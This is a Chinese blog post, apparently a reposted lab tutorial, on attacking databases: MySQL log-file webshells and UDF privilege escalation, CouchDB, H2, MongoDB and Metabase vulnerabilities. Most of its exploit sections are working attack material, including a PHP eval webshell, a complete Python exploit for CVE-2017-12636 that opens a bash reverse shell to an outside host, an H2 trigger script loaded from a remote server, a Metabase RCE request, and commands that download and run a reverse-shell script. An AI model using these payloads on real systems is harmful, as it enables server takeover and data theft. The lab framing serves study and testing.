数据库攻防学习之MySQL

这篇具有很好参考价值的文章主要介绍了数据库攻防学习之MySQL。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

MySQL

0x01mysql学习

MySQL 是瑞典的MySQLAB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。

0x02环境搭建

这里演示用,phpstudy搭建的环境,然后安装phpmyadmin

0x03漏洞复现

日志文件包含getshell

利用前提

知道网站路径,mysql版本大于5.0

利用条件 需要可读可写的权限,也就是高权限账号

所用到的命令

show variables like '%general%'; 查看日志读写功能

SET GLOBAL general_log='on';开启日志读写功能

select @@basedir; 查看mysql所在的绝对路径

SHOW VARIABLES LIKE"secure_file_priv";如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。

SET GLOBALgeneral_log_file='C:/phpstudy_pro/WWW/shell.php';修改日志文件路径

修改设置,该为开启,这样才能继续利用。

再次查询,可以发现已经发生了改变

访问验证

select '<?php eval($_POST["a"]);?>';

总结,如果SHOW VARIABLES LIKE"secure_file_priv";为NULL则没办法使用into outfile写文件,那么可以开启日志,修改日志文件路径和文件名为php,然后执行一个带有一句话的查询语句,完成getshell。

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

mysql udf提权

这里使用win10 +phpstudy,直接下个msyql就行了

udf提权是mysql的一种常见的提权方式。

什么是udf?

udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。

提权前提

获取mysql的控制权限。

mysql具有写入权限,即secure_file_priv的值为空。

show global variables like'%secure%';用这个查询

提权背景

拿到了mysql权限,没拿到服务器权限,可以通过mysql提权使其达到拿到服务器的权限

提权实验

实验版本mysql 5.5 操作系统win10

需要udf文件,可以从sqlmap里获取或者msf中获取。

这里可以直接用国光师傅的写好udf16进制

https://www.sqlsec.com/tools/udf.html

show global variables like'%secure%';

如果不是空的话可以这样修改,这个需要在mysql目录下的ini文件进行修改或者添加。

secure_file_priv=''然后重启服务。

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

这里我自己在目录下创建一个,也可以用NTFSADS方法创建目录,但有可能不成功。

showvariableslike'plugin%';

查询发现已经有了,然后进行文件写入。

路径D:phpstudy_proExtensionsMySQL5.5.29libplugin

如果有Can't open shared library 'udf.dll',切换成32位试试。

实战中不成功,可以轮流尝试。

创建自定义函数并且调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

select sys_eval('whoami');

select sys_eval('dir');

发现已经成功并且是Administrator权限

couchdb数据库

漏洞介绍

ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用

漏洞复现

CVE-2017-12635

PUT发包创建用户

选择内网映射端口为5984的抓包访问

http://192.168.48.133:54944/_utils/#login

这个为登陆应用

发包目的是增加用户,可以用bp或者postman

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
​
Host:
​
Accept: */*
​
Accept-Language: en
​
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)
​
Connection: close
​
Content-Type: application/json
​
Content-Length: 110
​
{
​
"type": "user",
​
"name": "vulhub",
​
"roles": ["_admin"],
​
"roles": [],
​
"password": "vulhub"
​
}

成功添加用户

CVE-2017-12636

CVE-2017-12636 exp 命令执行

import requests
​
import json
​
import base64
​
from requests.auth import HTTPBasicAuth
​
target = 'http://your-ip:5984'
​
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
​
version = 1
​
session = requests.session()
​
session.headers = {
​
'Content-Type': 'application/json'
​
}
​
# session.proxies = {
​
# 'http': 'http://127.0.0.1:8085'
​
# }
​
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
​
"type": "user",
​
"name": "wooyun",
​
"roles": ["_admin"],
​
"roles": [],
​
"password": "wooyun"
​
}''')
​
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
​
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()
​
if version == 1:
​
session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))
​
else:
​
host = session.get(target +
'/_membership').json()['all_nodes'][0]
​
session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))
​
session.put(target + '/wooyun')
​
session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')
​
if version == 1:
​
session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')
​
else:
​
session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')

h2database数据库

H2 是一个开源的嵌入式数据库引擎,纯 java实现的关系型数据库,不受平台的限制。

未授权访问

发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;

在JDBC URL输入这个语句点击connect即可未授权访问

RCE姿势

在VPS里面创建个sql文件,然后远程加载利用服务。

re_shell.sql
​
CREATE TABLE test (
​
id INT NOT NULL
​
);
​
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
​
Java.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
​
bash -i >& /dev/tcp/ip/7888 0>&1

远程加载姿势如下,填入python启动的ip和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';

mongodb数据库

大致介绍一下

MongoDB是一个基于分布式文件存储的数据库

由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案。

未授权访问漏洞

可以用msf检测

search mongodb

存在未授权访问漏洞

可以利用mongodb连接工具直接连接

metabase数据库分析

metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具

Metabase geojson任意文件读取漏洞 (CVE-2021-41277)

payload /api/geojson?url=file:/etc/passwd

Metabase 远程代码执行漏洞(CVE-2023-38646)

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase服务器的权限执行任意代码。

这里使用vulhub的docker环境,vulfocus可能有问题没复现成功

GET访问

/api/session/properties

exp
​
POST /api/setup/validate HTTP/1.1
​
Host: your-ip
​
Content-Type: application/json
​
{
​
"token": "token值",
​
"details":
​
{
​
"is_on_demand": false,
​
"is_full_sync": false,
​
"is_sample": false,
​
"cache_ttl": null,
​
"refingerprint": false,
​
"auto_run_queries": true,
​
"schedules":
​
{},
​
"details":
​
{
​
"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$$--=x",
​
"advanced-options": false,
​
"ssl": true
​
},
​
"name": "test",
​
"engine": "h2"
​
}
​
}

验证一下

python启动一个http服务,然后exec执行curl ip:8899/1.txt

python3 -m http.server 8899

验证成功

尝试反弹shell

未能成功反弹shell,利用其他方法进行反弹shell,可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell

创建个re_shell.sh,内容如下

!/bin/sh
​
bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'
​
执行 wget http://ip:port/re_shell.sh

执行

/bin/bash /tmp/re_shell.sh

成功反弹shell

更多网安技能的在线实操练习,请点击这里>>

  文章来源地址https://www.toymoban.com/news/detail-776127.html

到了这里,关于数据库攻防学习之MySQL的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

    思维导图: 常见服务的安全测试: 服务安全流程: 案例一:Mysql-未授权访问-CVE-2012-2122 利用 案例二: Hadoop-未授权访问-内置配合命令执行 RCE 案例三:Redis-未授权访问-Webshell任务密匙RCE 等 写入webshell  写入计划任务反弹shell ssh密钥链接 ​编辑利用自动化脚本去getshell redi

    2024年04月27日
    浏览(39)
  • Restart Study MySQL-01数据库概述(基础)

    C(Chapter) 持久化(persistence): 把数据保存到可掉电式存储设备(硬盘)中以供之后使用。 大多数情况下,特别是企业应用, 数据持久化是将内存中的数据保存到硬盘上加以\\\"固化\\\", 而持久化的实现过程大多使用各种关系数据库来完成。 持久化的主要作用是将内存中的数据存到关

    2024年02月05日
    浏览(54)
  • MySQL数据库01——mysql的安装和配置(包含workbench安装,超详细)

    做大数据分析等数据行业肯定要接触数据库,Mysql是比较适合个人学习的数据库软件,本期第一章教学怎么安装和配置。 先去官网下载:MySQL :: 下载 MySQL 社区服务器  社区版就可以,选上面这个,然后下载。(他会让你注册,可以不用,点下面跳过就行) 然后放在一个路

    2024年02月03日
    浏览(42)
  • MySQL数据库期末考试试题及参考答案(01)

    本文原创作者:谷哥的小弟 作者博客地址:http://blog.csdn.net/lfdfhl ___在20世纪80年代被美国国家标准学会和国际标准化组织定义为关系型数据库语言的标准。 数据模型所描述的内容包括3个部分,分别是数据结构、数据操作、___。 概念数据模型中实体与实体之间的联系,有___、

    2024年02月05日
    浏览(42)
  • 服务攻防-数据库安全-服务应用的安全问题以及测试流程-Mysql&Hadoop&未授权访问&RCE-漏洞复现

    目录 一、服务应用的安全问题 1、配置不当——未授权访问 2、安全机制——特定安全漏洞 3、安全机制——弱口令爆破攻击 二、服务应用的安全测试思路 1、判断服务是否开放 2、判断服务类型 3、判断利用方式 三、Mysql-未授权访问-CVE-2012-2122 利用 1、漏洞概述 2、漏洞复现

    2024年02月17日
    浏览(47)
  • MYSQL数据库-数据库的学习

    1、数据库的英文单词:DataBase 简称 : DB 2、什么数据库? 用于存储和管理数据的仓库. 3、数据库的特点 持久化存储数据的.其实数据库就是要给文件系统 方便存储和管理数据 使用了统一的方式操作数据库 – SQL 1、关系型数据库:MySQL(免费)、Orcale(收费)、SQL Server(免费)

    2024年02月16日
    浏览(69)
  • 【MySQL 数据库】11、学习 MySQL 中的【锁】

    锁是计算机协调多个进程或线程并发访问某一资源的机制 在数据库中,除传统的计算资源(CPU、RAM、I/O)的争用以外,数据也是一种供许多用户共享的资源。如何保证数据并发访问的一致性、有效性是所有数据库必须解决的一个问题 锁冲突是影响数据库并发访问性能的一个

    2024年02月08日
    浏览(57)
  • MYSQL数据库学习笔记

    以分号结尾加回车为一个命令 show databases;//展示所有数据库 create database xxx;//创建新的数据库 create database if not exists xxx;//检查是否创建XXX数据库,没有则创建,有则不创建 create database default charset (字节大小);//创建指定字节大小的数据库 drop database xxx;//删除数据库 use xxx;//使用

    2024年02月16日
    浏览(51)
  • MySql数据库的学习

    MySQL 是最流行的 关系型数据库 管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System: 关系数据库管理系统) 应用软件之一。 参考博客: MySQL 教程 | 菜鸟教程 (runoob.com) 数据库(Database,DB)是按照数据结构来组织、存储和管理数据的仓库。它本身可

    2024年02月12日
    浏览(43)
  • Mysql数据库学习思路

    学习 MySQL(或其他数据库管理系统)需要一系列步骤和资源,以帮助您掌握数据库设计、查询语言(SQL)和数据库管理的基础知识。以下是一些建议的学习步骤: 学习数据库基础知识: 了解什么是数据库、数据库管理系统(DBMS)以及不同类型的数据库(如关系型数据库、

    2024年02月06日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包